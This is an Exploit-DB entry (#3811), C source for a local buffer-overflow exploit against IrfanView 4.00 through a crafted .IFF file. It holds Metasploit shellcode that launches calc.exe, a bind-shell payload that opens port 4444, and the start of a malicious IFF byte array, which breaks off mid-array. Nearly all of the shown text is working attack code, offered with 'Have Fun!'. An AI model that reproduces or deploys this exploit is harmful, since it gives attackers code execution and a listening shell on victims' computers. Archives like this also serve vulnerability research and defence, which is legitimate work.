Exploit-DB #3811
Description: IrfanView 4.00 - '.iff' Local Buffer Overflow
Type: local
Platform: windows
Date: 2007-04-27
Author: Marsu

Exploit:
/******************************************************************************
*                                                                             *
*                IrfanView <= 4.00 .IFF File Buffer Overflow                  *
*                                                                             *
*                                                                             *
* IrfanView is vulnerable to an unspecified buffer overflow when processing a *
* crafted .IFF file.                                                          *
* This exploit runs calc.exe or binds shell to port 4444.                     *
*                                                                             *
* Tested against Win XP SP2 FR.                                               *
* Have Fun!                                                                   *
*                                                                             *
* Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>                  *
******************************************************************************/

#include "stdio.h"
#include "stdlib.h"

/* win32_exec -  EXITFUNC=process CMD=calc.exe Size=138 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char CalcShellcode[] =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99"
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04"
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb"
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30"
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09"
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8"
"\x83\xc0\x7b\x50\x68\x7e\xd8\xe2\x73\x68\x98\xfe\x8a\x0e\x57\xff"
"\xe7\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";


/* win32_bind -  EXITFUNC=process LPORT=4444 Size=317 Encoder=None http://metasploit.com */
unsigned char BindShellcode[] =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
"\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
"\x52\xff\xd0\x68\x7e\xd8\xe2\x73\x53\xff\xd6\xff\xd0";



char iff_file_part1[] =
"\x46\x4f\x52\x4d\x00\x01\x0b\x7e\x49\x4c\x42\x4d\x42\x4d\x48\x44"
"\x00\x00\x00\x14\x01\xfd\x01\xb6\x00\x00\x00\x00\x08\x00\x01\x00"
"\x00\x00\xc7\xc7\x01\xfd\x01\xb6\x43\x4d\x41\x50\x00\x00\x0c\x00"
"\x1b\x1b\x19\xff\xff\xff\xbc\xd7\xea\xef\x64\x2e\x73\xa9\xd2\xd9"
"\xd9\xd9\x13\x6e\xb6\x00\x68\xb4\x70\x70\x70\xf0\x92\x6c\x2e\xcc"
"\xcc\xfa\xf2\xe6\x99\x99\x99\x50\x94\xc5\xf1\xe9\xe6\xf7\xad\x32"
"\xac\xb4\xb4\x4d\x4b\x48\xf0\xc9\xb4\xab\x85\x38\xe0\xe9\xef\xec"
"\xe5\xde\xef\xb4\x98\x2e\x80\xbc\xe5\x98\x3a\x8c\x8c\x8c\xef\xe0"
"\xd3\xa6\xc4\xd9\x33\x33\x33\x8c\xb6\xd5\xc6\xd5\xdd\xfa\xf7\xf3"
"\xfe\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x92\x09\x45\x92\x09\x4e\x12\x23\x88\x02\x00\x24\x12"
"\x21\x74\x00\x00\x02\x92\x41\x90\xfd\x90\x00\x91\x10\x05\x12\x20"
"\x1c\x00\x00\x00\x12\x20\xec\x91\xee\x18\x92\x09\x70\x98\xe4\xc0"
"\x92\x3e\x6f\x92\x3e\x62\x00\x02\x08\x12\x24\x2c\x12\x24\x04\x92"
"\x09\x45\x92\x09\x4e\x12\x23\xd8\x02\x00\x24\x12\x21\xc4\x00\x00"
"\x02\x92\x41\x90\xfd\x90\x00\x91\x10\x05\x12\x20\x6c\x00\x00\x00"
"\x12\x21\x3c\x91\xee\x18\x92\x09\x70\x98\xe4\xc0\xec\x3e\x6f\x92"
"\x3e\x62\x00\x02\x08\x12\x24\x7c\x12\x24\x54\x12\x20\xe8\xaf\x00"
"\x00\x92\x07\x32\x00\x00\x51\xaf\x15\xb8\xaf\x00\x00\x3f\xa0\x50"
"\x12\x20\xc0\x00\x00\x18\x12\x23\x04\x91\xee\x18\x92\x07\x38\xff"
"\xff\xff\x92\x07\x32\x92\x06\xab\x92\x06\xeb\x12\x23\xc8\x00\x02"
"\x80\x00\x00\x00\x92\x06\xab\x92\x06\xeb\x58\x90\x08\x00\x00\xb4"
"\x00\x04\x38\x00\x00\x00\x00\x05\x00\x00\x21\xc6\x00\x00\x00\xfd"
"\xfc\x64\x92\x09\x45\x92\x09\x4e\x00\x65\x68\x12\x20\xa8\x12\x24"
"\x54\x12\x23\xe8\x91\xee\x18\x12\x24\x7c\x00\x00\x08\x12\x23\xf8"
"\x92\x40\x2e\x15\x20\xa8\x12\x21\xd0\x92\x09\x70\x98\xe4\xc0\x92"
"\x40\xef\x92\x40\xbb\x00\x00\x00\xfd\xfc\x00\x00\x80\x01\x57\x00"
"\xd0\x00\x00\x36\x12\x21\x70\x44\x00\x5c\x00\x00\x00\x0a\x00\x08"
"\x92\x3e\x88\x00\x02\x1a\x00\x00\x00\x92\x06\xab\xe2\x00\x00\x12"
"\x24\x7c\x00\x00\x64\x00\x00\x00\x00\x00\x10\x6f\x00\x5a\x66\x00"
"\x64\xfd\xfc\x00\x12\x21\xd0\x00\x00\x02\x15\x20\xa0\x00\x00\x7a"
"\x58\x90\x08\x44\x00\x5c\x63\x00\x6f\x6d\x00\x75\x6e\x00\x65\x73"
"\x00\x74\x61\x00\x20\x64\x00\x6e\x53\x00\x20\x74\x00\x65\x69\x00"
"